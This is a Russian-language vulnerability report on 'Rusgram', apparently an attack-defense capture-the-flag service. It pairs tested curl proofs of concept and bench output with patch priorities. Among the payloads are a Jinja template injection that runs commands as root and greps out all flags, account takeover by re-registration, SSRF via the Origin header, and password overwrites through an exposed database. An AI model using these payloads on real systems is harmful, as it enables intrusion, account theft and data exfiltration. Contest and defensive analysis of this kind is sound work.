# Rusgram — отчёт по уязвимостям Все PoC ниже **отработаны на живом стенде** (`docker compose up` из этой папки), флаги реально извлечены. Формат флага: `[A-Z0-9]{31}=`. Стенд для проверки: жертва `victim_krmltc`, флаги в `msg` и `first_name`. | # | Уязвимость | Класс | Порт | Крит | |---|---|---|---|---| | [V1](#v1) | SSTI → RCE от root через имя пользователя `*.html` | CWE-1336 | **38000** | 🔴 CRITICAL | | [V2](#v2) | Перерегистрация чужого аккаунта = ATO без аутентификации | CWE-284 | **38000** | 🔴 CRITICAL | | [V3](#v3) | SSRF: proxy серверсайд идёт по редиректу из заголовка `Origin` | CWE-918 | **38000** | 🔴 HIGH | | [V4](#v4) | `database` без аутентификации опубликован наружу | CWE-306 | 38002 | 🔴 HIGH | | [V5](#v5) | `content` наружу: чтение файла любого юзера без `.html` | CWE-306 | 38004 | 🟠 HIGH | | [V6](#v6) | Открытый редирект через `Origin` | CWE-601 | 38000 | 🟡 MEDIUM | | [V7](#v7) | Пароли в плейнтексте + неподписанная кука-сессия | CWE-256/565 | — | 🟡 MEDIUM | | [V8](#v8) | Необработанные исключения → 500 (`split("||")`, `images/`) | CWE-248 | 38000 | 🟢 LOW | Отрицательные проверки (протестированы, **не** воспроизводятся) — в конце. --- ## V1 — SSTI → RCE от root через имя пользователя, оканчивающееся на `.html` 🔴 **Где:** `content/content.py:45` + `proxy/proxy.py:19-21` ```python # content.py app = Flask(__name__, template_folder='files') # 'files' == том ./website ... else: return render_template(path) # path из URL ``` ### Суть `template_folder` узла content — это `files`, то есть **тот же самый том `./website`, внутри которого лежит `db/users/`**. Файл пользователя — это данные, полностью подконтрольные атакующему, но `render_template()` скармливает его Jinja как **исходник шаблона**. Ключ к тому, чтобы дотянуться до этого через публичный порт 38000: proxy пропускает в content только пути с расширением `.html`… ```python ext = path.split('.')[-1] if ext == "html": resp = r.get(f"http://{content_node}/{path}?...") ``` …но **имя пользователя выбирает атакующий**. Регистрируем юзера с логином `pwn.html` → его файл ложится в `files/db/users/pwn.html` → запрос `GET /db/users/pwn.html` проходит фильтр расширения, попадает в `else`-ветку `content.py` и рендерится как шаблон. Содержимое шаблона мы заранее записали сами через `/api/update_personal`. Autoescape тут не спасает: он экранирует **результат** выражения, но не мешает Jinja это выражение **выполнить**. ### PoC (проверен) ```bash BASE=http://TARGET:38000 # 1. регистрируем юзера, чьё имя оканчивается на .html curl -s -X POST $BASE/api/register -H 'Content-Type: application/json' \ -d '{"login":"pwn.html","password":"p"}' # 2. кладём Jinja-payload в своё же поле first_name curl -s -X POST $BASE/api/update_personal -H 'Content-Type: application/json' \ -H 'Cookie: session=pwn.html||p' \ -d '{"first_name":"{{ lipsum.__globals__.os.popen('"'"'id'"'"').read() }}","second_name":"x","email":"x"}' # 3. заставляем content отрендерить наш файл как шаблон — через ПУБЛИЧНЫЙ порт curl -s $BASE/db/users/pwn.html ``` Реальный вывод со стенда: ``` {"password": "p", "first_name": "uid=0(root) gid=0(root) groups=0(root),... --- pwn.html victim_krmltc ", "second_name": "x", "email": "x"} ``` **RCE от root** в контейнере content, где смонтирован весь `website/` — то есть вся база всех пользователей. ### Сбор всех флагов одним запросом ```python payload = "{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" /app/files/db/').read() }}" ``` Со стенда вернулось: `['2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=', 'QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=']` — оба посаженных флага, за один HTTP-запрос, без знания имён жертв (`grep -r` сам обходит каталог). ### ⚠️ Важный нюанс эксплуатации: кэш Jinja Flask вне debug-режима **не перечитывает шаблоны** (`auto_reload` выключен). Как только `db/users/pwn.html` отрендерился первый раз, скомпилированная версия кэшируется, и правки файла больше не подхватываются. Практический вывод для сплойта: **на каждый раунд — свежее случайное имя юзера**, и payload обязательно кладётся **до** первого запроса на рендер. В `sploit_rusgram.py` это учтено. --- ## V2 — Перерегистрация чужого аккаунта: ATO без аутентификации 🔴 **Где:** `logic/logic.py:23-33` + `database/database.py:22-33` ```python # logic.register — никакой проверки существования resp = r.post(f"http://{database_node}/users/{username}/password", json={"value": password}) # database.users POST — тоже никакой if not os.path.exists(path): Path(path).touch() ... data[field] = request.json["value"] # read-modify-write ``` ### Суть `register` для существующего юзера — это **не ошибка, а перезапись пароля**. Причём read-modify-write сохраняет все остальные поля: `msg`, `first_name` и прочее **остаются на месте**. Атакующий получает 200 и валидную куку на чужой аккаунт со всем его содержимым. Это одновременно **кража флагов** и **саботаж**: у чекера ломается логин в собственный аккаунт. ### PoC (проверен) ```bash BASE=http://TARGET:38000 VICTIM=victim_krmltc curl -s -i -X POST $BASE/api/register -H 'Content-Type: application/json' \ -d "{\"login\":\"$VICTIM\",\"password\":\"hacked123\"}" # → HTTP/1.1 200 OK # → Set-Cookie: session=victim_krmltc||hacked123; Path=/ curl -s $BASE/ -H "Cookie: session=$VICTIM||hacked123" | grep -oE '[A-Z0-9]{31}=' ``` Реальный вывод со стенда: ``` 2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24= QZHZAGZTFOSPU6D6KD9R98GF7FQATQV= ``` Оба флага, ноль исходных кредов. Нужно только знать имя жертвы — оно берётся из комментариев (V4) или из `ls` через V1. --- ## V3 — SSRF: proxy серверсайд ходит по редиректу из `Origin` 🔴 **Где:** `logic/logic.py:41,55,65` + `proxy/proxy.py:28` ```python # logic: Location строится из заголовка, который контролирует атакующий return redirect(request.headers.get("Origin", "") + "/login.html", code=302) # proxy: requests по умолчанию allow_redirects=True — и ИДЁТ по этому Location resp = passcall(f"http://{logic_node}/{path[4:]}", json=request.get_json(), headers=request.headers) return resp.content, resp.status_code, resp.headers.items() ``` ### Суть Когда проверка пароля не проходит, logic отдаёт 302 на `Origin + "/login.html"`. Proxy получает этот 302 и, поскольку `requests` по умолчанию следует редиректам, **сам делает запрос на указанный URL из своего контейнера** — и возвращает тело атакующему. Хвост `/login.html` обрезается тривиально: заканчиваем `Origin` на `?x=`, и он уезжает в query string. Это самая неприятная из находок для защиты, потому что **работает даже если закрыть порты 38001–38004**: proxy ходит во внутреннюю сеть за нас. ### PoC (проверен) ```bash BASE=http://TARGET:38000 VICTIM=victim_krmltc curl -s -X POST $BASE/api/send_msg -H 'Content-Type: application/json' \ -H "Cookie: session=$VICTIM||WRONGPASS" \ -H "Origin: http://database:5002/users/$VICTIM/msg?x=" \ -d '{"msg":"x"}' ``` Реальный вывод со стенда: ``` {"data":"2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=","status":"ok"} ``` Флаг из внутреннего database-узла — через один только публичный порт 38000. Подтверждение самого 302 (напрямую в logic): ``` POST /send_msg Origin: https://evil.example → 302, Location: https://evil.example/login.html ``` Запрос на внешний хост со стенда вернул 500 (в тестовой docker-сети нет egress) — **на боевом vulnbox, если egress есть, это ещё и канал эксфильтрации.** --- ## V4 — `database` без аутентификации опубликован наружу 🔴 **Где:** `docker-compose.yml` (`38002:5002`) + весь `database/database.py` Узел database не имеет **ни одной** проверки доступа. Он опубликован на хосте. ### PoC (проверен) ```bash D=http://TARGET:38002 curl -s $D/users/victim_krmltc/password # {"data":"hacked123","status":"ok"} curl -s $D/users/victim_krmltc/msg # {"data":"2F2HOFY5DQ...","status":"ok"} ← ФЛАГ curl -s $D/users/victim_krmltc/first_name # {"data":"QZHZAGZTFO...","status":"ok"} ← ФЛАГ ``` Запись работает так же — можно перезаписать пароль/поля любому юзеру (саботаж): ```bash curl -s -X POST $D/users/victim_krmltc/password \ -H 'Content-Type: application/json' -d '{"value":"OWNED"}' # → 200 ``` **Энумерация имён** (без RCE): авторы комментариев отдаются в открытую. ```bash for i in $(seq 1 16); do curl -s $D/images/$i; done # comments: [["username","text"],...] ``` --- ## V5 — `content` наружу: чтение файла любого юзера 🟠 **Где:** `docker-compose.yml` (`38004:5004`) + `content/content.py:45` Напрямую в content ограничение на `.html` (которое накладывает proxy) отсутствует — `render_template(path)` вызывается для любого пути. ### PoC (проверен) ```bash curl -s http://TARGET:38004/db/users/victim_krmltc ``` Реальный вывод со стенда: ``` {"password": "hacked123", "msg": "2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=", "first_name": "QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=", "second_name": "Ivanov", ...} ``` Здесь же работает и V1 (SSTI) — но уже без требования, чтобы имя оканчивалось на `.html`. --- ## V6 — Открытый редирект через `Origin` 🟡 Тот же код, что и в V3. Если смотреть на logic напрямую (38003) — классический open redirect на произвольный домен: ``` POST /send_msg, Cookie: session=<существующий_юзер>||неверный_пароль, Origin: https://evil.example → 302 Location: https://evil.example/login.html ``` Через proxy наружу это превращается в SSRF (V3), поэтому чинится одним патчем. --- ## V7 — Плейнтекстовые пароли и неподписанная сессия 🟡 * `website/db/users/*` хранит `"password"` как есть — любое чтение файла (V1/V4/V5) сразу даёт креды. * Кука `session=||` не подписана, без `HttpOnly`/`Secure`/срока жизни, и **гоняет пароль в открытом виде в каждом запросе**. В условиях A/D полностью переделывать схему рискованно (чекер завязан на формат куки), поэтому в патче это осознанно **не** менялось — см. `PATCH.md`. --- ## V8 — Необработанные исключения → 500 🟢 Проверено на стенде: * `GET /` с кукой `session=a||b||c` → **500** (`ValueError: too many values to unpack` в `split("||")`). Аналогично во всех четырёх ручках logic. * `GET /images/0`, `/images/-1`, `/images/99`, `/images/abc` → **500** (`FileNotFoundError`, файла нет). * `POST /api/*` без куки `session` → **500** (`KeyError`). * Запрос к несуществующему юзеру: `.json()["data"]` по 404-ответу → **500** (`KeyError`). Флагов не даёт, но шумит в логах и может ронять SLA, если чекер ходит кривыми запросами. Плюс скрывает настоящие атаки в шуме. --- ## Отрицательные результаты (проверено — НЕ работает) Чтобы команда не тратила время: | Гипотеза | Результат | |---|---| | Path traversal в `static` (`/css/..%2f..%2fetc%2fpasswd.css`) | **404.** Конвертер `` в Werkzeug не матчит слэши | | Инъекция пути через `img_id` в `post_comment` (`../users/`) | **404** на database. Роут `` не матчит многосегментные пути | | Traversal через `username` в database (`..`, `%2f`) | Не матчится роутом / упирается в каталог | | Traversal через `render_template` (`../../etc/passwd`) | Jinja `split_template_path` режет `..` | | SSRF (V3) на внешний хост | 500 на стенде — в тестовой docker-сети нет egress. **На vulnbox проверить отдельно** | --- ## Приоритет патчей 1. **V1** — RCE, публичный порт. Чинить первым. 2. **V2** — ATO + саботаж чекера, публичный порт. 3. **V3** — SSRF, обходит закрытие портов. 4. **V4/V5** — закрыть публикацию внутренних портов (осторожно, см. `PATCH.md`). 5. **V8** — устойчивость, чтобы не терять SLA.